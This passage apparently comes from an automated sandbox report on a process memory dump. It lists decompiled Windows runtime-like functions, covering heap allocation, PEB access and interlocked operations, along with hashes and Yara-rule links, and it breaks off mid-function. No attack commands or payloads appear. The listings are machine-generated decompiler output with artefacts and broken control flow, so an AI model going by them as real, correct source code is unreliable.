0x03cc13e3
0x03cc13e6
0x03cc13e9
0x03cc13f6
0x03cc1400
0x03cc1400
0x03c88f08
0x03c88f32

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31ec91368b611bd8c7efbfb9322247a2836fbf4212f83cce946446502fa73533
Instruction ID: cf457bfe11c4e9e9eafd6fb8fef11888a33a9b2ad479a0917c04bdef3bdca9be
Opcode Fuzzy Hash: 31ec91368b611bd8c7efbfb9322247a2836fbf4212f83cce946446502fa73533
Instruction Fuzzy Hash: 6041BEB1D003189EDB20DFAAD980AADFBF4FB48310F5441AEE519E7600E7705A84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 03C7E730, Relevance: .1, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E03C7E730(void* __edx, signed int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr* _a40) {
				intOrPtr* _v0;
				signed char _v4;
				signed int _v8;
				void* __ecx;
				void* __ebp;
				void* _t37;
				intOrPtr _t38;
				signed int _t44;
				signed char _t52;
				void* _t54;
				intOrPtr* _t56;
				void* _t58;
				char* _t59;
				signed int _t62;

				_t58 = __edx;
				_push(0);
				_push(4);
				_push( &_v8);
				_push(0x24);
				_push(0xffffffff);
				if(E03C89670() < 0) {
					L03C9DF30(_t54, _t58, _t35);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t54);
					_t52 = _v4;
					if(_t52 > 8) {
						_t37 = 0xc0000078;
					} else {
						_t38 =  *0x3d37b9c; // 0x0
						_t62 = _t52 & 0x000000ff;
						_t59 = L03C64620(8 + _t62 * 4,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t38 + 0x140000, 8 + _t62 * 4);
						if(_t59 == 0) {
							_t37 = 0xc0000017;
						} else {
							_t56 = _v0;
							 *(_t59 + 1) = _t52;
							 *_t59 = 1;
							 *((intOrPtr*)(_t59 + 2)) =  *_t56;
							 *((short*)(_t59 + 6)) =  *((intOrPtr*)(_t56 + 4));
							_t44 = _t62 - 1;
							if(_t44 <= 7) {
								switch( *((intOrPtr*)(_t44 * 4 +  &M03C7E810))) {
									case 0:
										L6:
										 *((intOrPtr*)(_t59 + 8)) = _a8;
										goto L7;
									case 1:
										L13:
										 *((intOrPtr*)(__edx + 0xc)) = _a12;
										goto L6;
									case 2:
										L12:
										 *((intOrPtr*)(__edx + 0x10)) = _a16;
										goto L13;
									case 3:
										L11:
										 *((intOrPtr*)(__edx + 0x14)) = _a20;
										goto L12;
									case 4:
										L10:
										 *((intOrPtr*)(__edx + 0x18)) = _a24;
										goto L11;
									case 5:
										L9:
										 *((intOrPtr*)(__edx + 0x1c)) = _a28;
										goto L10;
									case 6:
										L17:
										 *((intOrPtr*)(__edx + 0x20)) = _a32;
										goto L9;
									case 7:
										 *((intOrPtr*)(__edx + 0x24)) = _a36;
										goto L17;
								}
							}
							L7:
							 *_a40 = _t59;
							_t37 = 0;
						}
					}
					return _t37;
				} else {
					_push(0x20);
					asm("ror eax, cl");
					return _a4 ^ _v8;
				}
			}

0x03c7e730
0x03c7e736
0x03c7e738
0x03c7e73d
0x03c7e73e
0x03c7e740
0x03c7e749
0x03c7e765
0x03c7e76a
0x03c7e76b
0x03c7e76c
0x03c7e76d
0x03c7e76e
0x03c7e76f
0x03c7e775
0x03c7e777
0x03c7e77e
0x03cbb675
0x03c7e784
0x03c7e784
0x03c7e789
0x03c7e7a8
0x03c7e7ac
0x03c7e807
0x03c7e7ae
0x03c7e7ae
0x03c7e7b1
0x03c7e7b4
0x03c7e7b9
0x03c7e7c0
0x03c7e7c4
0x03c7e7ca
0x03c7e7cc
0x00000000
0x03c7e7d3
0x03c7e7d6
0x00000000
0x00000000
0x03c7e7ff
0x03c7e802
0x00000000
0x00000000
0x03c7e7f9
0x03c7e7fc
0x00000000
0x00000000
0x03c7e7f3
0x03c7e7f6
0x00000000
0x00000000
0x03c7e7ed
0x03c7e7f0
0x00000000
0x00000000
0x03c7e7e7
0x03c7e7ea
0x00000000
0x00000000
0x03cbb685
0x03cbb688
0x00000000
0x00000000
0x03cbb682
0x00000000
0x00000000
0x03c7e7cc
0x03c7e7d9
0x03c7e7dc
0x03c7e7de
0x03c7e7de
0x03c7e7ac
0x03c7e7e4
0x03c7e74b
0x03c7e751
0x03c7e759
0x03c7e761
0x03c7e761

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22bbbcbdac646a9cf179da94e35ac7abf40158b7a90217fff148d3646b638357
Instruction ID: ccd953dd788eb6c9c500643b18c6333b56f0519164e3cc67e3a5480b3e88f433
Opcode Fuzzy Hash: 22bbbcbdac646a9cf179da94e35ac7abf40158b7a90217fff148d3646b638357
Instruction Fuzzy Hash: B9318D76A14249AFD744CF29C841B9AB7E8FB09314F148296FD04CB341D631ED80CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 03C7BC2C, Relevance: .1, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E03C7BC2C(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, signed int _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* __ebx;
				void* __edi;
				intOrPtr _t22;
				intOrPtr* _t41;
				intOrPtr _t51;

				_t51 =  *0x3d36100; // 0x1d
				_v12 = __edx;
				_v8 = __ecx;
				if(_t51 >= 0x800) {
					L12:
					return 0;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t22 = _t51;
					asm("lock cmpxchg [ecx], edx");
					if(_t51 == _t22) {
						break;
					}
					_t51 = _t22;
					if(_t22 < 0x800) {
						continue;
					}
					goto L12;
				}
				E03C62280(0xd, 0x1320f1a0);
				_t41 =  *0x3d360f8; // 0x0
				if(_t41 != 0) {
					 *0x3d360f8 =  *_t41;
					 *0x3d360fc =  *0x3d360fc + 0xffff;
				}
				E03C5FFB0(_t41, 0x800, 0x1320f1a0);
				if(_t41 != 0) {
					L6:
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					 *((intOrPtr*)(_t41 + 0x1c)) = _v12;
					 *((intOrPtr*)(_t41 + 0x20)) = _a4;
					 *(_t41 + 0x36) =  *(_t41 + 0x36) & 0x00008000 | _a8 & 0x00003fff;
					do {
						asm("lock xadd [0x3d360f0], ax");
						 *((short*)(_t41 + 0x34)) = 1;
					} while (1 == 0);
					goto L8;
				} else {
					_t41 = L03C64620(0x3d36100,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0xd0);
					if(_t41 == 0) {
						L11:
						asm("lock dec dword [0x3d36100]");
						L8:
						return _t41;
					}
					 *(_t41 + 0x24) =  *(_t41 + 0x24) & 0x00000000;
					 *(_t41 + 0x28) =  *(_t41 + 0x28) & 0x00000000;
					if(_t41 == 0) {
						goto L11;
					}
					goto L6;
				}
			}

0x03c7bc36
0x03c7bc42
0x03c7bc45
0x03c7bc4a
0x03c7bd35
0x00000000
0x00000000
0x00000000
0x00000000
0x03c7bc50
0x03c7bc50
0x03c7bc58
0x03c7bc5a
0x03c7bc60
0x00000000
0x00000000
0x03cba4f2
0x03cba4f6
0x00000000
0x00000000
0x00000000
0x03cba4fc
0x03c7bc79
0x03c7bc7e
0x03c7bc86
0x03c7bd16
0x03c7bd20
0x03c7bd20
0x03c7bc8d
0x03c7bc94
0x03c7bcbd
0x03c7bcca
0x03c7bccb
0x03c7bccc
0x03c7bccd
0x03c7bcce
0x03c7bcd4
0x03c7bcea
0x03c7bcee
0x03c7bcf2
0x03c7bd00
0x03c7bd04
0x00000000
0x03c7bc96
0x03c7bcab
0x03c7bcaf
0x03c7bd2c
0x03c7bd2c
0x03c7bd09
0x00000000
0x03c7bd09
0x03c7bcb1
0x03c7bcb5
0x03c7bcbb
0x00000000
0x00000000
0x00000000
0x03c7bcbb

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b40af9db928c53c208acf496cb374c5d088d7c2d358dfd03416e812c70fa8719
Instruction ID: 027c4d0fb870868dbb806141f9a4a8aff2d5a5b8e87ec312244340818f4a283d
Opcode Fuzzy Hash: b40af9db928c53c208acf496cb374c5d088d7c2d358dfd03416e812c70fa8719
Instruction Fuzzy Hash: AE31EE36A00615ABCB11EF68D4C07A6B3A4EF29310F154079ED48DF309EB74DE098B80

Uniqueness

Uniqueness Score: -1.00%

Function 03C49100, Relevance: .1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E03C49100(signed int __ebx, void* __ecx, void* __edi, signed int __esi, void* __eflags) {
				signed int _t53;
				signed int _t56;
				signed int* _t60;
				signed int _t63;
				signed int _t66;
				signed int _t69;
				void* _t70;
				intOrPtr* _t72;
				void* _t78;
				void* _t79;
				signed int _t80;
				intOrPtr _t82;
				void* _t85;
				void* _t88;
				void* _t89;

				_t84 = __esi;
				_t70 = __ecx;
				_t68 = __ebx;
				_push(0x2c);
				_push(0x3d1f6e8);
				E03C9D0E8(__ebx, __edi, __esi);
				 *((char*)(_t85 - 0x1d)) = 0;
				_t82 =  *((intOrPtr*)(_t85 + 8));
				if(_t82 == 0) {
					L4:
					if( *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) == 0) {
						E03D188F5(_t68, _t70, _t78, _t82, _t84, __eflags);
					}
					L5:
					return E03C9D130(_t68, _t82, _t84);
				}
				_t88 = _t82 -  *0x3d386c0; // 0x2ca07b0
				if(_t88 == 0) {
					goto L4;
				}
				_t89 = _t82 -  *0x3d386b8; // 0x0
				if(_t89 == 0 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					goto L4;
				} else {
					E03C62280(_t82 + 0xe0, _t82 + 0xe0);
					 *(_t85 - 4) =  *(_t85 - 4) & 0x00000000;
					__eflags =  *((char*)(_t82 + 0xe5));
					if(__eflags != 0) {
						E03D188F5(__ebx, _t70, _t78, _t82, __esi, __eflags);
						goto L12;
					} else {
						__eflags =  *((char*)(_t82 + 0xe4));
						if( *((char*)(_t82 + 0xe4)) == 0) {
							 *((char*)(_t82 + 0xe4)) = 1;
							_push(_t82);
							_push( *((intOrPtr*)(_t82 + 0x24)));
							E03C8AFD0();
						}
						while(1) {
							_t60 = _t82 + 8;
							 *(_t85 - 0x2c) = _t60;
							_t68 =  *_t60;
							_t80 = _t60[1];
							 *(_t85 - 0x28) = _t68;
							 *(_t85 - 0x24) = _t80;
							while(1) {
								L10:
								__eflags = _t80;
								if(_t80 == 0) {
									break;
								}
								_t84 = _t68;
								 *(_t85 - 0x30) = _t80;
								 *(_t85 - 0x24) = _t80 - 1;
								asm("lock cmpxchg8b [edi]");
								_t68 = _t84;
								 *(_t85 - 0x28) = _t68;
								 *(_t85 - 0x24) = _t80;
								__eflags = _t68 - _t84;
								_t82 =  *((intOrPtr*)(_t85 + 8));
								if(_t68 != _t84) {
									continue;
								}
								__eflags = _t80 -  *(_t85 - 0x30);
								if(_t80 !=  *(_t85 - 0x30)) {
									continue;
								}
								__eflags = _t80;
								if(_t80 == 0) {
									break;
								}
								_t63 = 0;
								 *(_t85 - 0x34) = 0;
								_t84 = 0;
								__eflags = 0;
								while(1) {
									 *(_t85 - 0x3c) = _t84;
									__eflags = _t84 - 3;
									if(_t84 >= 3) {
										break;
									}
									__eflags = _t63;
									if(_t63 != 0) {
										L40:
										_t84 =  *_t63;
										__eflags = _t84;
										if(_t84 != 0) {
											_t84 =  *(_t84 + 4);
											__eflags = _t84;
											if(_t84 != 0) {
												 *0x3d3b1e0(_t63, _t82);
												 *_t84();
											}
										}
										do {
											_t60 = _t82 + 8;
											 *(_t85 - 0x2c) = _t60;
											_t68 =  *_t60;
											_t80 = _t60[1];
											 *(_t85 - 0x28) = _t68;
											 *(_t85 - 0x24) = _t80;
											goto L10;
										} while (_t63 == 0);
										goto L40;
									}
									_t69 = 0;
									__eflags = 0;
									while(1) {
										 *(_t85 - 0x38) = _t69;
										__eflags = _t69 -  *0x3d384c0;
										if(_t69 >=  *0x3d384c0) {
											break;
										}
										__eflags = _t63;
										if(_t63 != 0) {
											break;
										}
										_t66 = E03D19063(_t69 * 0xc +  *((intOrPtr*)(_t82 + 0x10 + _t84 * 4)), _t80, _t82);
										__eflags = _t66;
										if(_t66 == 0) {
											_t63 = 0;
											__eflags = 0;
										} else {
											_t63 = _t66 + 0xfffffff4;
										}
										 *(_t85 - 0x34) = _t63;
										_t69 = _t69 + 1;
									}
									_t84 = _t84 + 1;
								}
								__eflags = _t63;
							}
							 *((intOrPtr*)(_t82 + 0xf4)) =  *((intOrPtr*)(_t85 + 4));
							 *((char*)(_t82 + 0xe5)) = 1;
							 *((char*)(_t85 - 0x1d)) = 1;
							L12:
							 *(_t85 - 4) = 0xfffffffe;
							E03C4922A(_t82);
							_t53 = E03C67D50();
							__eflags = _t53;
							if(_t53 != 0) {
								_t56 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
							} else {
								_t56 = 0x7ffe0386;
							}
							__eflags =  *_t56;
							if( *_t56 != 0) {
								_t56 = E03D18B58(_t82);
							}
							__eflags =  *((char*)(_t85 - 0x1d));
							if( *((char*)(_t85 - 0x1d)) != 0) {
								__eflags = _t82 -  *0x3d386c0; // 0x2ca07b0
								if(__eflags != 0) {
									__eflags = _t82 -  *0x3d386b8; // 0x0
									if(__eflags == 0) {
										_t79 = 0x3d386bc;
										_t72 = 0x3d386b8;
										goto L18;
									}
									__eflags = _t56 | 0xffffffff;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										E03C49240(_t68, _t82, _t82, _t84, __eflags);
									}
								} else {
									_t79 = 0x3d386c4;
									_t72 = 0x3d386c0;
									L18:
									E03C79B82(_t68, _t72, _t79, _t82, _t84, __eflags);
								}
							}
							goto L5;
						}
					}
				}
			}

0x03c49100
0x03c49100
0x03c49100
0x03c49100
0x03c49102
0x03c49107
0x03c4910c
0x03c49110
0x03c49115
0x03c49136
0x03c49143
0x03ca37e4
0x03ca37e4
0x03c49149
0x03c4914e
0x03c4914e
0x03c49117
0x03c4911d
0x00000000
0x00000000
0x03c4911f
0x03c49125
0x00000000
0x03c49151
0x03c49158
0x03c4915d
0x03c49161
0x03c49168
0x03ca3715
0x00000000
0x03c4916e
0x03c4916e
0x03c49175
0x03c49177
0x03c4917e
0x03c4917f
0x03c49182
0x03c49182
0x03c49187
0x03c49187
0x03c4918a
0x03c4918d
0x03c4918f
0x03c49192
0x03c49195
0x03c49198
0x03c49198
0x03c49198
0x03c4919a
0x00000000
0x00000000
0x03ca371f
0x03ca3721
0x03ca3727
0x03ca372f
0x03ca3733
0x03ca3735
0x03ca3738
0x03ca373b
0x03ca373d
0x03ca3740
0x00000000
0x00000000
0x03ca3746
0x03ca3749
0x00000000
0x00000000
0x03ca374f
0x03ca3751
0x00000000
0x00000000
0x03ca3757
0x03ca3759
0x03ca375c
0x03ca375c
0x03ca375e
0x03ca375e
0x03ca3761
0x03ca3764
0x00000000
0x00000000
0x03ca3766
0x03ca3768
0x03ca37a3
0x03ca37a3
0x03ca37a5
0x03ca37a7
0x03ca37ad
0x03ca37b0
0x03ca37b2
0x03ca37bc
0x03ca37c2
0x03ca37c2
0x03ca37b2
0x03c49187
0x03c49187
0x03c4918a
0x03c4918d
0x03c4918f
0x03c49192
0x03c49195
0x00000000
0x03c49195
0x00000000
0x03c49187
0x03ca376a
0x03ca376a
0x03ca376c
0x03ca376c
0x03ca376f
0x03ca3775
0x00000000
0x00000000
0x03ca3777
0x03ca3779
0x00000000
0x00000000
0x03ca3782
0x03ca3787
0x03ca3789
0x03ca3790
0x03ca3790
0x03ca378b
0x03ca378b
0x03ca378b
0x03ca3792
0x03ca3795
0x03ca3795
0x03ca3798
0x03ca3798
0x03ca379b
0x03ca379b
0x03c491a3
0x03c491a9
0x03c491b0
0x03c491b4
0x03c491b4
0x03c491bb
0x03c491c0
0x03c491c5
0x03c491c7
0x03ca37da
0x03c491cd
0x03c491cd
0x03c491cd
0x03c491d2
0x03c491d5
0x03c49239
0x03c49239
0x03c491d7
0x03c491db
0x03c491e1
0x03c491e7
0x03c491fd
0x03c49203
0x03c4921e
0x03c49223
0x00000000
0x03c49223
0x03c49205
0x03c49208
0x03c4920c
0x03c49214
0x03c49214
0x03c491e9
0x03c491e9
0x03c491ee
0x03c491f3
0x03c491f3
0x03c491f3
0x03c491e7
0x00000000
0x03c491db
0x03c49187
0x03c49168

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb6d63010e2acc923495adeef70b589b4268deaed1eee45d0db12b77441cdf5e
Instruction ID: 91ee80aa1b939c7137b00f1d4aedd4f769c8c60efd9e6d3c92b757a54ed24b42
Opcode Fuzzy Hash: eb6d63010e2acc923495adeef70b589b4268deaed1eee45d0db12b77441cdf5e
Instruction Fuzzy Hash: CF31F279A00795DFDB21DB69C188BAEFBB1BB48314F198189D405EF351C372AA80DB61

Uniqueness

Uniqueness Score: -1.00%

Function 03C71DB5, Relevance: .1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E03C71DB5(intOrPtr __ecx, intOrPtr* __edx, intOrPtr* _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr* _v20;
				void* _t22;
				char _t23;
				void* _t36;
				intOrPtr _t42;
				intOrPtr _t43;

				_v12 = __ecx;
				_t43 = 0;
				_v20 = __edx;
				_t42 =  *__edx;
				 *__edx = 0;
				_v16 = _t42;
				_push( &_v8);
				_push(0);
				_push(0);
				_push(6);
				_push(0);
				_push(__ecx);
				_t36 = ((0 | __ecx !=  *((intOrPtr*)( *[fs:0x30] + 8))) - 0x00000001 & 0xc0000000) + 0x40000002;
				_push(_t36);
				_t22 = E03C6F460();
				if(_t22 < 0) {
					if(_t22 == 0xc0000023) {
						goto L1;
					}
					L3:
					return _t43;
				}
				L1:
				_t23 = _v8;
				if(_t23 != 0) {
					_t38 = _a4;
					if(_t23 >  *_a4) {
						_t42 = L03C64620(_t38,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t23);
						if(_t42 == 0) {
							goto L3;
						}
						_t23 = _v8;
					}
					_push( &_v8);
					_push(_t23);
					_push(_t42);
					_push(6);
					_push(_t43);
					_push(_v12);
					_push(_t36);
					if(E03C6F460() < 0) {
						if(_t42 != 0 && _t42 != _v16) {
							L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t43, _t42);
						}
						goto L3;
					}
					 *_v20 = _t42;
					 *_a4 = _v8;
				}
				_t43 = 1;
				goto L3;
			}

0x03c71dc2
0x03c71dc5
0x03c71dc7
0x03c71dcc
0x03c71dce
0x03c71dd6
0x03c71ddf
0x03c71de0
0x03c71de1
0x03c71de5
0x03c71de8
0x03c71def
0x03c71df0
0x03c71df6
0x03c71df7
0x03c71dfe
0x03c71e1a
0x00000000
0x00000000
0x03c71e0b
0x03c71e12
0x03c71e12
0x03c71e00
0x03c71e00
0x03c71e05
0x03c71e1e
0x03c71e23
0x03cb570f
0x03cb5713
0x00000000
0x00000000
0x03cb5719
0x03cb5719
0x03c71e2c
0x03c71e2d
0x03c71e2e
0x03c71e2f
0x03c71e31
0x03c71e32
0x03c71e35
0x03c71e3d
0x03cb5723
0x03cb573d
0x03cb573d
0x00000000
0x03cb5723
0x03c71e49
0x03c71e4e
0x03c71e4e
0x03c71e09
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 113d149f2ee32d0cf172cc5618c6b00e5ec00d0f660e83749918783638c296a2
Instruction ID: 133c4f5c27640dd78b613d7f406d329bc21d7bcbf2ff4833b485d9043d9b9740
Opcode Fuzzy Hash: 113d149f2ee32d0cf172cc5618c6b00e5ec00d0f660e83749918783638c296a2
Instruction Fuzzy Hash: 9721A176610219FFD721CF99CC88EABFBBDEF85690F294055E905DB210D634AE01DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 03C60050, Relevance: .1, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E03C60050(void* __ecx) {
				signed int _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t30;
				intOrPtr* _t31;
				signed int _t34;
				void* _t40;
				void* _t41;
				signed int _t44;
				intOrPtr _t47;
				signed int _t58;
				void* _t59;
				void* _t61;
				void* _t62;
				signed int _t64;

				_push(__ecx);
				_v8 =  *0x3d3d360 ^ _t64;
				_t61 = __ecx;
				_t2 = _t61 + 0x20; // 0x20
				E03C79ED0(_t2, 1, 0);
				_t52 =  *(_t61 + 0x8c);
				_t4 = _t61 + 0x8c; // 0x8c
				_t40 = _t4;
				do {
					_t44 = _t52;
					_t58 = _t52 & 0x00000001;
					_t24 = _t44;
					asm("lock cmpxchg [ebx], edx");
					_t52 = _t44;
				} while (_t52 != _t44);
				if(_t58 == 0) {
					L7:
					_pop(_t59);
					_pop(_t62);
					_pop(_t41);
					return E03C8B640(_t24, _t41, _v8 ^ _t64, _t52, _t59, _t62);
				}
				asm("lock xadd [esi], eax");
				_t47 =  *[fs:0x18];
				 *((intOrPtr*)(_t61 + 0x50)) =  *((intOrPtr*)(_t47 + 0x19c));
				 *((intOrPtr*)(_t61 + 0x54)) =  *((intOrPtr*)(_t47 + 0x1a0));
				_t30 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t30 != 0) {
					if( *_t30 == 0) {
						goto L4;
					}
					_t31 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					L5:
					if( *_t31 != 0) {
						_t18 = _t61 + 0x78; // 0x78
						E03D18A62( *(_t61 + 0x5c), _t18,  *((intOrPtr*)(_t61 + 0x30)),  *((intOrPtr*)(_t61 + 0x34)),  *((intOrPtr*)(_t61 + 0x3c)));
					}
					_t52 =  *(_t61 + 0x5c);
					_t11 = _t61 + 0x78; // 0x78
					_t34 = E03C79702(_t40, _t11,  *(_t61 + 0x5c),  *((intOrPtr*)(_t61 + 0x74)), 0);
					_t24 = _t34 | 0xffffffff;
					asm("lock xadd [esi], eax");
					if((_t34 | 0xffffffff) == 0) {
						 *0x3d3b1e0(_t61);
						_t24 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t61 + 4))))))();
					}
					goto L7;
				}
				L4:
				_t31 = 0x7ffe0386;
				goto L5;
			}

0x03c60055
0x03c6005d
0x03c60062
0x03c6006c
0x03c6006f
0x03c60074
0x03c6007a
0x03c6007a
0x03c60080
0x03c60080
0x03c60087
0x03c6008d
0x03c6008f
0x03c60093
0x03c60095
0x03c6009b
0x03c600f8
0x03c600fb
0x03c600fc
0x03c600ff
0x03c60108
0x03c60108
0x03c600a2
0x03c600a6
0x03c600b3
0x03c600bc
0x03c600c5
0x03c600ca
0x03cac01e
0x00000000
0x00000000
0x03cac02d
0x03c600d5
0x03c600d9
0x03cac03d
0x03cac046
0x03cac046
0x03c600df
0x03c600e2
0x03c600ea
0x03c600ef
0x03c600f2
0x03c600f6
0x03c60111
0x03c60117
0x03c60117
0x00000000
0x03c600f6
0x03c600d0
0x03c600d0
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb257ec8c5e37d168abebebc89dd3d56dabb4a4f14680699734f82ceeb69bad4
Instruction ID: 492e25a35b712076630d426b6b3e0513218c93e37a09362e51dd20af21195dc1
Opcode Fuzzy Hash: eb257ec8c5e37d168abebebc89dd3d56dabb4a4f14680699734f82ceeb69bad4
Instruction Fuzzy Hash: 90319A31201B048FD721CB28C880B96B3E5FB88714F188569E49ADBB90EB71AD01DB90

Uniqueness

Uniqueness Score: -1.00%

Function 03CC6C0A, Relevance: .1, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E03CC6C0A(signed short* __ecx, signed char __edx, signed char _a4, signed char _a8) {
				signed short* _v8;
				signed char _v12;
				void* _t22;
				signed char* _t23;
				intOrPtr _t24;
				signed short* _t44;
				void* _t47;
				signed char* _t56;
				signed char* _t58;

				_t48 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t44 = __ecx;
				_v12 = __edx;
				_v8 = __ecx;
				_t22 = E03C67D50();
				_t58 = 0x7ffe0384;
				if(_t22 == 0) {
					_t23 = 0x7ffe0384;
				} else {
					_t23 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				}
				if( *_t23 != 0) {
					_t24 =  *0x3d37b9c; // 0x0
					_t47 = ( *_t44 & 0x0000ffff) + 0x30;
					_t23 = L03C64620(_t48,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t24 + 0x180000, _t47);
					_t56 = _t23;
					if(_t56 != 0) {
						_t56[0x24] = _a4;
						_t56[0x28] = _a8;
						_t56[6] = 0x1420;
						_t56[0x20] = _v12;
						_t14 =  &(_t56[0x2c]); // 0x2c
						E03C8F3E0(_t14, _v8[2],  *_v8 & 0x0000ffff);
						_t56[0x2c + (( *_v8 & 0x0000ffff) >> 1) * 2] = 0;
						if(E03C67D50() != 0) {
							_t58 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						}
						_push(_t56);
						_push(_t47 - 0x20);
						_push(0x402);
						_push( *_t58 & 0x000000ff);
						E03C89AE0();
						_t23 = L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t56);
					}
				}
				return _t23;
			}

0x03cc6c0a
0x03cc6c0f
0x03cc6c10
0x03cc6c13
0x03cc6c15
0x03cc6c19
0x03cc6c1c
0x03cc6c21
0x03cc6c28
0x03cc6c3a
0x03cc6c2a
0x03cc6c33
0x03cc6c33
0x03cc6c3f
0x03cc6c48
0x03cc6c4d
0x03cc6c60
0x03cc6c65
0x03cc6c69
0x03cc6c73
0x03cc6c79
0x03cc6c7f
0x03cc6c86
0x03cc6c90
0x03cc6c94
0x03cc6ca6
0x03cc6cb2
0x03cc6cbd
0x03cc6cbd
0x03cc6cc3
0x03cc6cc7
0x03cc6ccb
0x03cc6cd0
0x03cc6cd1
0x03cc6ce2
0x03cc6ce2
0x03cc6c69
0x03cc6ced

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f84816cca233eaacfb1b1fc448509715e24001008883b4615bc49520ded0ed6c
Instruction ID: 61c8f5858a8a01d03ef268272ed57cefdebcd5aa08088c0038fdcc334aefad71
Opcode Fuzzy Hash: f84816cca233eaacfb1b1fc448509715e24001008883b4615bc49520ded0ed6c
Instruction Fuzzy Hash: 3721BCB5A10644AFC715DF68D980F6AB7B8FF48744F180069F904CB791D634EE20CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 03C890AF, Relevance: .1, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E03C890AF(intOrPtr __ecx, void* __edx, intOrPtr* _a4) {
				intOrPtr* _v0;
				void* _v8;
				signed int _v12;
				intOrPtr _v16;
				char _v36;
				void* _t38;
				intOrPtr _t41;
				void* _t44;
				signed int _t45;
				intOrPtr* _t49;
				signed int _t57;
				signed int _t58;
				intOrPtr* _t59;
				void* _t62;
				void* _t63;
				void* _t65;
				void* _t66;
				signed int _t69;
				intOrPtr* _t70;
				void* _t71;
				intOrPtr* _t72;
				intOrPtr* _t73;
				char _t74;

				_t65 = __edx;
				_t57 = _a4;
				_t32 = __ecx;
				_v8 = __edx;
				_t3 = _t32 + 0x14c; // 0x14c
				_t70 = _t3;
				_v16 = __ecx;
				_t72 =  *_t70;
				while(_t72 != _t70) {
					if( *((intOrPtr*)(_t72 + 0xc)) != _t57) {
						L24:
						_t72 =  *_t72;
						continue;
					}
					_t30 = _t72 + 0x10; // 0x10
					if(E03C9D4F0(_t30, _t65, _t57) == _t57) {
						return 0xb7;
					}
